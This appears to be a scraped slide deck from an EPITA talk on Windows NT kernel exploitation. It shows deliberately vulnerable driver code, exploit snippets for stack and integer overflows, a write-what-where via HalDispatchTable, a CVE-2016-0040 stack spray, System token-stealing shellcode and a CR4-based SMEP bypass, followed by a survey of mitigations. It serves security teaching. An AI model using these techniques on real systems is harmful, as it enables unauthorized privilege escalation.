Exploitation techniques for NT kernel Introduction General - - PowerPoint PPT Presentation

▶
exploitation techniques for nt kernel
SMART_READER_LITE
LIVE PREVIEW

Exploitation techniques for NT kernel Introduction General - - PowerPoint PPT Presentation

Dec 08, 2023 147 likes •631 views

Exploitation techniques for NT kernel Adrien Adr1 Garin Exploitation techniques for NT kernel Introduction General concepts Internals Adrien Adr1 Garin Exploitation Stack overflow Integer overflow Write What Where EPITA

slide-1
SLIDE 1

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Exploitation techniques for NT kernel

Adrien ‘Adr1’ Garin

EPITA

July 14, 2016

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 1 / 47

slide-2
SLIDE 2

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Introduction

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 2 / 47

slide-3
SLIDE 3

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Introduction

Lot of security measure in userland bypassing sandboxes ring0 privileges UAC bypass Lots of signed drivers are vulnerable

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 3 / 47

slide-4
SLIDE 4

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Introduction

An error at the kernel level = BSoD The kernel is a large and complex system

lots of interconnected subsystems that you have to deeply understand less likely to be bug-free

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 4 / 47

slide-5
SLIDE 5

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

General concepts

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 5 / 47

slide-6
SLIDE 6

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

General concepts

find the location or offsets of critical structures in kernel memory find addresses of kernel API functions two possibilities for code execution

code located in user space (easier) code located in kernel space (harder but SMEP bypass) Figure 1:Shellcode type overview

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 6 / 47

slide-7
SLIDE 7

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

General concepts

List modules

PRTL_PROCESS_MODULES m = VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE); NtQuerySystemInformation(SystemModuleInformation, m, 1024 * 1024, NULL); for (SIZE_T i = 0; i < m->NumberOfModules; ++i) { printf("Image base: %p\n", m->Modules[i].ImageBase); printf("Image name: %s\n", m->Modules[i].FullPathName + m->Modules[i].OffsetToFileName); }

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 7 / 47

slide-8
SLIDE 8

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Output

Image base: FFFFF8008B683000 Image name: ntoskrnl.exe Image base: FFFFF8008B610000 Image name: hal.dll Image base: FFFFF8008A005000 Image name: kd.dll Image base: FFFFF8003D4C0000 Image name: mcupdate_GenuineIntel.dll Image base: FFFFF8003D550000 Image name: werkernel.sys Image base: FFFFF8003D560000 Image name: CLFS.SYS [...]

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 8 / 47

slide-9
SLIDE 9

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

General concepts

Now we can load these module in user-space with LoadLibrary and use GetProcAddress to compute offset

return GetProcAddress(ntoskrnl, "NtCreateFile) - ntoskrnl;

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 9 / 47

slide-10
SLIDE 10

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

General concepts

Figure 2:System process

Privilege escalation Elevate privileges of the user-mode process Copy the System token and overwrite the current process access token

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 10 / 47

slide-11
SLIDE 11

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

General concepts

Enumerate EPROCESS structures in kernel memory find the System process copy the pointer to the token structure of System to the current process Now the process receives the SID S-1-5-18

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 11 / 47

slide-12
SLIDE 12

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

DACL

Figure 3:DACL

Discretionary access control list (DACL) Specifies who has what access to the object

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 12 / 47

slide-13
SLIDE 13

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

ACL

WinDbg

lkd> !process 0 0 explorer.exe PROCESS ffffe0005168a840 SessionId: 1 Cid: 1690 Peb: 00b85000 ParentCid: 1664 DirBase: 191e8c000 ObjectTable: ffffc001f211eb80 Image: explorer.exe

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 13 / 47

slide-14
SLIDE 14

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

ACL

WinDbg

lkd> !process 1690 1 Searching for Process with Cid == 1690 PROCESS ffffe0005168a840 SessionId: 1 Cid: 1690 Peb: 00b85000 ParentCid: 1664 DirBase: 191f0c000 ObjectTable: ffffc001f211eb80 Image: explorer.exe DeviceMap ffffc001dd5cd760 Token ffffc001f212a960 [...]

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 14 / 47

slide-15
SLIDE 15

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

ACL

WinDbg

lkd> !token ffffc001f212a960 _TOKEN ffffc001f212a960 TS Session ID: 0x1 User: S-1-5-21-542871337-1692334756-291223173-1001 User Groups: 00 S-1-5-21-542871337-1692334756-291223173-513 Attributes - Mandatory Default Enabled 01 S-1-1-0 Attributes - Mandatory Default Enabled [...] Primary Group: S-1-5-21-542871337-1692334756-291223173-513 Privs: 19 0x000000013 SeShutdownPrivilege Attributes - 23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled 25 0x000000019 SeUndockPrivilege Attributes - 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - 34 0x000000022 SeTimeZonePrivilege Attributes -

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 15 / 47

slide-16
SLIDE 16

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

ACL

WinDbg

lkd> !object ffffe0005168a840 Object: ffffe0005168a840 Type: (ffffe0004ba88480) Process ObjectHeader: ffffe0005168a810 (new version) HandleCount: 14 PointerCount: 421752

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 16 / 47

slide-17
SLIDE 17

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

ACL

WinDbg

lkd> dt _OBJECT_HEADER ffffe0005168a810 nt!_OBJECT_HEADER +0x000 PointerCount : 0n421628 +0x008 HandleCount : 0n14 [...] +0x020 ObjectCreateInfo : 0xffffe0004fb86d80 _OBJECT_CREATE_INFORMATION +0x020 QuotaBlockCharged : 0xffffe0004fb86d80 Void +0x028 SecurityDescriptor : 0xffffc001d716b994 Void +0x030 Body : _QUAD

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 17 / 47

slide-18
SLIDE 18

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

ACL

WinDbg

lkd> !sd 0xffffc001d716b994 & -10

  • >Owner

: S-1-5-21-542871337-1692334756-291223173-1001

  • >Group

: S-1-5-21-542871337-1692334756-291223173-513 [...]

  • >Dacl

: ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

  • >Dacl

: ->Ace[0]: ->AceFlags: 0x0

  • >Dacl

: ->Ace[0]: ->AceSize: 0x24

  • >Dacl

: ->Ace[0]: ->Mask : 0x001fffff

  • >Dacl

: ->Ace[0]: ->SID: S-1-5-21-542871337-1692334756-291223173-1001

  • >Dacl

: ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE

  • >Dacl

: ->Ace[1]: ->AceFlags: 0x0

  • >Dacl

: ->Ace[1]: ->AceSize: 0x14

  • >Dacl

: ->Ace[1]: ->Mask : 0x001fffff

  • >Dacl

: ->Ace[1]: ->SID: S-1-5-18 [...]

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 18 / 47

slide-19
SLIDE 19

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Internals

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 19 / 47

slide-20
SLIDE 20

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

How to pass buffers

Buffered I/O Direct I/O Neither Buffered Nor Direct I/o

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 20 / 47

slide-21
SLIDE 21

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Buffered I/O

Figure 4:Buffered I/O

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 21 / 47

slide-22
SLIDE 22

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Exploitation

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 22 / 47

slide-23
SLIDE 23

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

HackSys

Lot of resource exist for usermode exploitation But not so much for kernelmode exploitation Try HackSys Extreme Vulnerable Driver

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 23 / 47

slide-24
SLIDE 24

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Stack overflow

driver.c

NTSTATUS fooIoctlHandler(PIRP Irp, PIO_STACK_LOCATION IrpSp) { SIZE_T Size = 0; PVOID UserBuffer = NULL; UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength bar(UserBuffer, size); return STATUS_SUCCESS; }

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 24 / 47

slide-25
SLIDE 25

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Stack overflow

void bar(IN PVOID UserBuffer, IN SIZE_T Size) { ULONG KernelBuffer[512] = {0}; RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); DbgPrint("[+] bar\n"); }

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 25 / 47

slide-26
SLIDE 26

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Exploit

exploit.c

// userModeBufferSize = 512 + 9 RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) - sizeof(ULONG)); *(PULONG)pMemoryAddress = (ULONG)pEopPayload; DeviceIoControl(hFile, FOO_IOCTL, pUserModeBuffer, userModeBufferSize, NULL, 0, &bytesReturned, NULL);

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 26 / 47

slide-27
SLIDE 27

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Integer overflow

driver.c

void IntegerOverflow(PVOID UserBuffer, SIZE_T Size) { ULONG BufferTerminator = 0xBAD0B0B0; SIZE_T TerminatorSize = sizeof(BufferTerminator); ULONG KernelBuffer[512] = {0}; ULONG Count = 0; if ((Size + TerminatorSize) > sizeof(KernelBuffer)) return; while (Count < (Size / sizeof(ULONG))) { if (*(PULONG)UserBuffer != BufferTerminator) { KernelBuffer[Count] = *(PULONG)UserBuffer; UserBuffer = (PULONG)UserBuffer + 1; Count++; } else { break; } } }

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 27 / 47

slide-28
SLIDE 28

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Exploit

exploit.c

RtlFillMemory((PVOID)pUserModeBuffer, userModeBufferSize, 0x41); pMemoryAddress = (PVOID)(((ULONG)pUserModeBuffer + userModeBufferSize) *(PULONG)pMemoryAddress = (ULONG)pEopPayload; pMemoryAddress = (PVOID)((ULONG)pMemoryAddress + sizeof(ULONG)); *(PULONG)pMemoryAddress = (ULONG)0xBAD0B0B0; DeviceIoControl(hFile, IOCTL_INTEGER_OVERFLOW, (LPVOID)pUserModeBuffer, (DWORD)0xFFFFFFFF, NULL, 0, &bytesReturned, NULL);

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 28 / 47

slide-29
SLIDE 29

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Write What Where

HalDispatchTable KeQueryIntervalProfile kd> u nt!KeQueryIntervalProfile nt!KeQUeryIntervalProfile+0x29 8099a101 lea eax,[ebp-0Ch] 8099a104 push eax 8099a105 push 0Ch 8099a107 push 1 8099a109 call [nt!HalDispatchTable+0x4] 8099a10f test eax,eax 8099a111 jl 8099a11e

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 29 / 47

slide-30
SLIDE 30

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Exploit

Get the address of HalDispatchTable Get the base address of ntoskrnl.exe LoadLibrary(“ntoskrnl.exe”) GetProcAddress(ntoskrnl, “HalDispatchTable”)

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 30 / 47

slide-31
SLIDE 31

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Shellcode

System token stealing pushad ; Save registers state mov eax, fs:[0x124] ; KTHREAD mov eax, [eax + EPROCESS_OFF] mov ecx, eax ; Copy current process _EPROCESS structure mov edx, 4 ; SYSTEM Pid SearchSystemPID: mov eax, [eax + FLINK_OFF] sub eax, FLINK_OFF cmp [eax + PID_OFF], edx jne SearchSystemPID mov edx, [eax + TOKEN_OFF] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFF], edx ; Replace target process nt!_EPROCESS.Token popad ; Restore registers state

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 31 / 47

slide-32
SLIDE 32

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

CVEs

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 32 / 47

slide-33
SLIDE 33

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

CVE-2016-0040

exploit-db #40039 MS16-014 (February 9, 2016) KB3126587 Uninitialized pointer dereference Vulnerability can be triggered even by process with low integrity level

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 33 / 47

slide-34
SLIDE 34

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

CVE-2016-0040

WMIDataDevice accessible from user mode WmipReceiveNotifications is vulnerable

int WmipReceiveNotifications(int SystemBuffer, ULONG* OutputBufferSize, PVOID PRIP) { if (SystemBuffer > 10) { LocalBuffer = ExAllocatePool(...); } if (SystemBuffer) { // init LocalBuffer } *(DWORD*)(LocalBuffer + 60) = UserBuffer[8]; }

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 34 / 47

slide-35
SLIDE 35

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

CVE-2016-0040

We can use NtMapUserPage to spray the stack NtMapUserPhysicalPages(BufferUser, 1024, 0x41414141); This will put 4096 ‘A’ into the stack

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 35 / 47

slide-36
SLIDE 36

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

CVE-2016-0040

WmipReceiveNotifications FOLLOWUP_IP: nt!WmipReceiveNotifications+315 8162ee36 89483c mov dword ptr [eax+3Ch],ecx // ecx is 0x41414141 , eax is from stack

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 36 / 47

slide-37
SLIDE 37

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Mitigations

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 37 / 47

slide-38
SLIDE 38

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

KASLR

Since Windows 7, kernel modules base addresses have been randomized Effective against remote exploits But with local exploit you can call NtQuerySystemInformation

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 38 / 47

slide-39
SLIDE 39

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Integrity levels

Implemented since Windows Vista Kernel exploit mitigation since Windows 8.1 Processes that run under low integrity level cannot get kernel addresses by calling NtQuerySystemInformation

Figure 5:Integrity levels

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 39 / 47

slide-40
SLIDE 40

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

DEP/NX

NX bit prevents code execution in DATA areas like STACK, HEAP etc.

Figure 6:DEP

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 40 / 47

slide-41
SLIDE 41

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Supervisor Mode Execution Prevention

Implemented by Intel CPU since Ivy Bridge Supported since Windows 8 The idea is to separate executable kernel space from executable user space Only code located in kernel space can be executed in kernel mode It’s not possible anymore to jump directly in an user buffer Bit #20 of CR4 Use ROP to bypass

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 41 / 47

slide-42
SLIDE 42

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

SMEP bypass

Hack In The Box Magazine #3 mov eax, cr4 btr eax, 20 mov cr4, eax jmp 0x0BAAAAAD Put this shellcode in reserved object (NtQueueApcThreadEx) Obtain the address of the object structure by calling NtQuerySystemInformation

NtQueueApcThreadEx(HANDLE hThread, HANDLE hApcReserve, PVOID ApcRoutine, PVOID ApcArg1, PVOID ApcArg2, PVOID ApcArg3);

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 42 / 47

slide-43
SLIDE 43

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Supervisor Mode Access Prevention

Same as SMEP but for DATA Bit #20 of CR4

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 43 / 47

slide-44
SLIDE 44

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Control-flow Enforcement Technology

Works on legacy platforms without changes CET defines a second stack (shadow stack) exclusively used for control transfer operations New register: SSP When CET is enabled CALL instruction pushes the return address into both stack RET instruction pops return address from both stack

if the two addresses match, execution is transferred to this address

You cannot switch or modify the shadow stack

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 44 / 47

slide-45
SLIDE 45

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Conclusion

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 45 / 47

slide-46
SLIDE 46

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Conclusion

New mitigations and security measures from Microsoft and Intel make exploitation harder

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 46 / 47

slide-47
SLIDE 47

Exploitation techniques for NT kernel Adrien ‘Adr1’ Garin Introduction General concepts Internals Exploitation

Stack overflow Integer overflow Write What Where Shellcode

CVEs

CVE-2016-0040

Mitigations

KASLR Integrity levels DEP/NX SMEP / SMAP CET

Conclusion

Thanks

References Windows Internals 6th edition MWR labs Windows 8 Kernel Memory Protections Bypass CET paper Contact IRC: Adr1@irc.rezosup.org Mail: adr1@lse.epita.fr Twitter: @0x2Adr1

Adrien ‘Adr1’ Garin (EPITA) Exploitation techniques for NT kernel July 14, 2016 47 / 47